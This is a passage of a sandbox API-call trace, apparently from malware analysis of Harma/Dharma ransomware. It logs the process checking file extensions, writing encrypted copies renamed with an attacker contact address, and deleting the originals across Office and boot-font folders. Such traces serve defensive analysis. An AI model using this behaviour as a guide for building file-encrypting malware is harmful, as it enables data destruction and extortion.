1 [0171.693] SetEndOfFile (hFile=0x3ac) returned 1 [0171.695] CloseHandle (hObject=0x3ac) returned 1 [0171.695] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0171.696] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\cnfnot.cfg")) returned 1 [0171.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0171.840] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0171.840] lstrlenW (lpString=".doc") returned 4 [0171.840] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0171.840] lstrlenW (lpString=".docx") returned 5 [0171.840] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0171.840] lstrlenW (lpString=".pdf") returned 4 [0171.840] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0171.840] lstrlenW (lpString=".xls") returned 4 [0171.841] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0171.841] lstrlenW (lpString=".xlsx") returned 5 [0171.841] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0171.841] lstrlenW (lpString=".ppt") returned 4 [0171.841] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0171.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0171.841] lstrlenW (lpString=".zip") returned 4 [0171.841] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0171.841] lstrlenW (lpString=".rar") returned 4 [0171.841] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0171.841] lstrlenW (lpString=".bz2") returned 4 [0171.841] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0171.841] lstrlenW (lpString=".7z") returned 3 [0171.841] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0171.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0171.841] lstrlenW (lpString=".dbf") returned 4 [0171.841] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0171.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0171.841] lstrlenW (lpString=".1cd") returned 4 [0171.841] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0171.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0171.841] lstrlenW (lpString=".jpg") returned 4 [0171.841] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0171.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0171.841] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0171.841] lstrlenW (lpString=".doc") returned 4 [0171.841] lstrcmpiW (lpString1=".doc", lpString2=".CFG") returned 1 [0171.841] lstrlenW (lpString=".docx") returned 5 [0171.841] lstrcmpiW (lpString1=".docx", lpString2="T.CFG") returned -1 [0171.841] lstrlenW (lpString=".pdf") returned 4 [0171.841] lstrcmpiW (lpString1=".pdf", lpString2=".CFG") returned 1 [0171.842] lstrlenW (lpString=".xls") returned 4 [0171.842] lstrcmpiW (lpString1=".xls", lpString2=".CFG") returned 1 [0171.842] lstrlenW (lpString=".xlsx") returned 5 [0171.842] lstrcmpiW (lpString1=".xlsx", lpString2="T.CFG") returned -1 [0171.842] lstrlenW (lpString=".ppt") returned 4 [0171.842] lstrcmpiW (lpString1=".ppt", lpString2=".CFG") returned 1 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0171.842] lstrlenW (lpString=".zip") returned 4 [0171.842] lstrcmpiW (lpString1=".zip", lpString2=".CFG") returned 1 [0171.842] lstrlenW (lpString=".rar") returned 4 [0171.842] lstrcmpiW (lpString1=".rar", lpString2=".CFG") returned 1 [0171.842] lstrlenW (lpString=".bz2") returned 4 [0171.842] lstrcmpiW (lpString1=".bz2", lpString2=".CFG") returned -1 [0171.842] lstrlenW (lpString=".7z") returned 3 [0171.842] lstrcmpiW (lpString1=".7z", lpString2="CFG") returned -1 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0171.842] lstrlenW (lpString=".dbf") returned 4 [0171.842] lstrcmpiW (lpString1=".dbf", lpString2=".CFG") returned 1 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0171.842] lstrlenW (lpString=".1cd") returned 4 [0171.842] lstrcmpiW (lpString1=".1cd", lpString2=".CFG") returned -1 [0171.842] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CNFNOT.CFG") returned 64 [0171.842] lstrlenW (lpString=".jpg") returned 4 [0171.842] lstrcmpiW (lpString1=".jpg", lpString2=".CFG") returned 1 [0171.842] lstrcmpiW (lpString1=".ICO", lpString2=".harma") returned 1 [0171.842] lstrlenW (lpString="CONTACTL.ICO") returned 12 [0171.843] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0171.845] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x34fff1c | out: lpFileSize=0x34fff1c*=1078) returned 1 [0171.845] CloseHandle (hObject=0x3a0) returned 1 [0171.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico")) returned 0x20 [0171.845] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0171.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0171.845] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.845] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0171.845] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0171.847] GetLastError () returned 0x0 [0171.847] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x436, lpOverlapped=0x0) returned 1 [0171.909] WriteFile (in: hFile=0x21c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0x440, lpOverlapped=0x0) returned 1 [0174.277] ReadFile (in: hFile=0x3a0, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34ffed4, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x34ffed4*=0x0, lpOverlapped=0x0) returned 1 [0174.277] WriteFile (in: hFile=0x21c, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x34ffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x34ffc9c*=0xec, lpOverlapped=0x0) returned 1 [0174.278] SetEndOfFile (hFile=0x21c) returned 1 [0174.278] CloseHandle (hObject=0x21c) returned 1 [0174.278] SetFilePointerEx (in: hFile=0x3a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34ffec8 | out: lpNewFilePointer=0x0) returned 1 [0174.278] SetEndOfFile (hFile=0x3a0) returned 1 [0174.281] CloseHandle (hObject=0x3a0) returned 1 [0174.281] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0174.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO" (normalized: "c:\\program files\\microsoft office\\office14\\forms\\1033\\contactl.ico")) returned 1 [0174.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0174.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0174.282] lstrlenW (lpString=".doc") returned 4 [0174.282] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0174.282] lstrlenW (lpString=".docx") returned 5 [0174.282] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0174.282] lstrlenW (lpString=".pdf") returned 4 [0174.282] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0174.282] lstrlenW (lpString=".xls") returned 4 [0174.283] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0174.283] lstrlenW (lpString=".xlsx") returned 5 [0174.283] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0174.283] lstrlenW (lpString=".ppt") returned 4 [0174.283] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0174.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0174.283] lstrlenW (lpString=".zip") returned 4 [0174.283] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0174.283] lstrlenW (lpString=".rar") returned 4 [0174.283] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0174.283] lstrlenW (lpString=".bz2") returned 4 [0174.283] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0174.283] lstrlenW (lpString=".7z") returned 3 [0174.283] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0174.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0174.283] lstrlenW (lpString=".dbf") returned 4 [0174.283] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0174.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0174.283] lstrlenW (lpString=".1cd") returned 4 [0174.283] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0174.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0174.283] lstrlenW (lpString=".jpg") returned 4 [0174.283] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0174.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0174.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0174.284] lstrlenW (lpString=".doc") returned 4 [0174.284] lstrcmpiW (lpString1=".doc", lpString2=".ICO") returned -1 [0174.284] lstrlenW (lpString=".docx") returned 5 [0174.284] lstrcmpiW (lpString1=".docx", lpString2="L.ICO") returned -1 [0174.284] lstrlenW (lpString=".pdf") returned 4 [0174.284] lstrcmpiW (lpString1=".pdf", lpString2=".ICO") returned 1 [0174.284] lstrlenW (lpString=".xls") returned 4 [0174.284] lstrcmpiW (lpString1=".xls", lpString2=".ICO") returned 1 [0174.284] lstrlenW (lpString=".xlsx") returned 5 [0174.284] lstrcmpiW (lpString1=".xlsx", lpString2="L.ICO") returned -1 [0174.284] lstrlenW (lpString=".ppt") returned 4 [0174.284] lstrcmpiW (lpString1=".ppt", lpString2=".ICO") returned 1 [0174.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0174.284] lstrlenW (lpString=".zip") returned 4 [0174.284] lstrcmpiW (lpString1=".zip", lpString2=".ICO") returned 1 [0174.284] lstrlenW (lpString=".rar") returned 4 [0174.284] lstrcmpiW (lpString1=".rar", lpString2=".ICO") returned 1 [0174.284] lstrlenW (lpString=".bz2") returned 4 [0174.284] lstrcmpiW (lpString1=".bz2", lpString2=".ICO") returned -1 [0174.284] lstrlenW (lpString=".7z") returned 3 [0174.284] lstrcmpiW (lpString1=".7z", lpString2="ICO") returned -1 [0174.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0174.284] lstrlenW (lpString=".dbf") returned 4 [0174.284] lstrcmpiW (lpString1=".dbf", lpString2=".ICO") returned -1 [0174.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0174.284] lstrlenW (lpString=".1cd") returned 4 [0174.284] lstrcmpiW (lpString1=".1cd", lpString2=".ICO") returned -1 [0174.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\FORMS\\1033\\CONTACTL.ICO") returned 66 [0174.284] lstrlenW (lpString=".jpg") returned 4 [0174.285] lstrcmpiW (lpString1=".jpg", lpString2=".ICO") returned 1 [0174.285] lstrlenW (lpString=".id-") returned 4 [0174.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351560 | out: hHeap=0x300000) returned 1 [0174.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3bef88 | out: hHeap=0x300000) returned 1 [0174.285] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3aa04b8 | out: hHeap=0x300000) returned 1 [0174.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3ab04c0 | out: hHeap=0x300000) returned 1 [0174.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3f40020 | out: hHeap=0x300000) returned 1 [0174.294] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x351548 | out: hHeap=0x300000) returned 1 [0174.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351548 [0174.294] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351548, Size=0x20) returned 0x41d2290 [0174.294] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351548 [0174.294] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x351548, Size=0x20) returned 0x41d21c8 [0174.295] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0174.295] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0174.295] Wow64DisableWow64FsRedirection (in: OldValue=0x34fff58 | out: OldValue=0x34fff58*=0x1) returned 1 [0174.295] lstrlenW (lpString="kernel32.dll") returned 12 [0174.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d21c8 | out: hHeap=0x300000) returned 1 [0174.295] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0174.295] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d2290 | out: hHeap=0x300000) returned 1 Thread: id = 61 os_tid = 0x6f4 [0132.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3ac04c8 [0132.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10000) returned 0x3ad04d0 [0132.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351578 [0132.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6) returned 0x3bef98 [0132.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x351590 [0132.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x100000) returned 0x4050020 [0132.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3515a8 [0132.328] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3515a8, Size=0x20) returned 0x3c0d88 [0132.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x10) returned 0x3515a8 [0132.328] RtlReAllocateHeap (Heap=0x300000, Flags=0x0, Ptr=0x3515a8, Size=0x20) returned 0x3c0db0 [0132.329] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76e10000 [0132.329] GetProcAddress (hModule=0x76e10000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76e3d650 [0132.329] Wow64DisableWow64FsRedirection (in: OldValue=0x363ff58 | out: OldValue=0x363ff58*=0x0) returned 1 [0132.329] lstrlenW (lpString="kernel32.dll") returned 12 [0132.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0d88 | out: hHeap=0x300000) returned 1 [0132.329] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0132.329] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c0db0 | out: hHeap=0x300000) returned 1 [0132.329] Sleep (dwMilliseconds=0x64) [0132.625] lstrcmpiW (lpString1=".ttf", lpString2=".harma") returned 1 [0132.625] lstrlenW (lpString="wgl4_boot.ttf") returned 13 [0132.625] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x220 [0132.749] GetFileSizeEx (in: hFile=0x220, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=47452) returned 1 [0132.749] CloseHandle (hObject=0x220) returned 1 [0132.749] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf")) returned 0x20 [0132.749] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.749] CreateFileW (lpFileName="C:\\Boot\\Fonts\\wgl4_boot.ttf" (normalized: "c:\\boot\\fonts\\wgl4_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.749] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0132.749] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0132.749] lstrlenW (lpString=".doc") returned 4 [0132.749] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.749] lstrlenW (lpString=".docx") returned 5 [0132.749] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0132.749] lstrlenW (lpString=".pdf") returned 4 [0132.749] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.749] lstrlenW (lpString=".xls") returned 4 [0132.749] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.749] lstrlenW (lpString=".xlsx") returned 5 [0132.749] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0132.749] lstrlenW (lpString=".ppt") returned 4 [0132.749] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.749] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0132.750] lstrlenW (lpString=".zip") returned 4 [0132.750] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.750] lstrlenW (lpString=".rar") returned 4 [0132.750] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.750] lstrlenW (lpString=".bz2") returned 4 [0132.750] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.750] lstrlenW (lpString=".7z") returned 3 [0132.750] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.750] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0132.750] lstrlenW (lpString=".dbf") returned 4 [0132.750] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.750] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0132.750] lstrlenW (lpString=".1cd") returned 4 [0132.750] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.750] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0132.750] lstrlenW (lpString=".jpg") returned 4 [0132.750] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.750] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0132.750] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0132.750] lstrlenW (lpString=".doc") returned 4 [0132.750] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0132.750] lstrlenW (lpString=".docx") returned 5 [0132.750] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1 [0132.750] lstrlenW (lpString=".pdf") returned 4 [0132.750] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0132.750] lstrlenW (lpString=".xls") returned 4 [0132.750] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0132.750] lstrlenW (lpString=".xlsx") returned 5 [0132.750] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1 [0132.750] lstrlenW (lpString=".ppt") returned 4 [0132.750] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0132.750] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0132.751] lstrlenW (lpString=".zip") returned 4 [0132.751] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0132.751] lstrlenW (lpString=".rar") returned 4 [0132.751] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0132.751] lstrlenW (lpString=".bz2") returned 4 [0132.751] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0132.751] lstrlenW (lpString=".7z") returned 3 [0132.751] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0132.751] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0132.751] lstrlenW (lpString=".dbf") returned 4 [0132.751] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0132.751] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0132.751] lstrlenW (lpString=".1cd") returned 4 [0132.751] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0132.751] lstrlenW (lpString="C:\\Boot\\Fonts\\wgl4_boot.ttf") returned 27 [0132.751] lstrlenW (lpString=".jpg") returned 4 [0132.751] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0132.751] lstrcmpiW (lpString1=".DLL", lpString2=".harma") returned -1 [0132.751] lstrlenW (lpString="ITIRCL55.DLL") returned 12 [0132.751] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ac [0132.997] GetFileSizeEx (in: hFile=0x2ac, lpFileSize=0x363ff1c | out: lpFileSize=0x363ff1c*=1831424) returned 1 [0132.997] CloseHandle (hObject=0x2ac) returned 1 [0132.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll")) returned 0x20 [0132.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0132.997] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\help\\itircl55.dll.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0132.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0132.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0132.997] lstrlenW (lpString=".doc") returned 4 [0132.997] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0132.997] lstrlenW (lpString=".docx") returned 5 [0132.997] lstrcmpiW (lpString1=".docx", lpString2="5.DLL") returned -1 [0132.997] lstrlenW (lpString=".pdf") returned 4 [0132.997] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0132.997] lstrlenW (lpString=".xls") returned 4 [0132.997] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0132.997] lstrlenW (lpString=".xlsx") returned 5 [0132.997] lstrcmpiW (lpString1=".xlsx", lpString2="5.DLL") returned -1 [0132.997] lstrlenW (lpString=".ppt") returned 4 [0132.997] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0132.997] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0132.997] lstrlenW (lpString=".zip") returned 4 [0132.998] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0132.998] lstrlenW (lpString=".rar") returned 4 [0132.998] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0132.998] lstrlenW (lpString=".bz2") returned 4 [0132.998] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0132.998] lstrlenW (lpString=".7z") returned 3 [0132.998] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0132.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0132.998] lstrlenW (lpString=".dbf") returned 4 [0132.998] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0132.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0132.998] lstrlenW (lpString=".1cd") returned 4 [0132.998] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0132.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0132.998] lstrlenW (lpString=".jpg") returned 4 [0132.998] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0132.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0132.998] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Help\\ITIRCL55.DLL") returned 64 [0132.998] lstrlenW (lpString=".doc") returned 4 [0132.998] lstrcmpiW (lpString1=".doc", 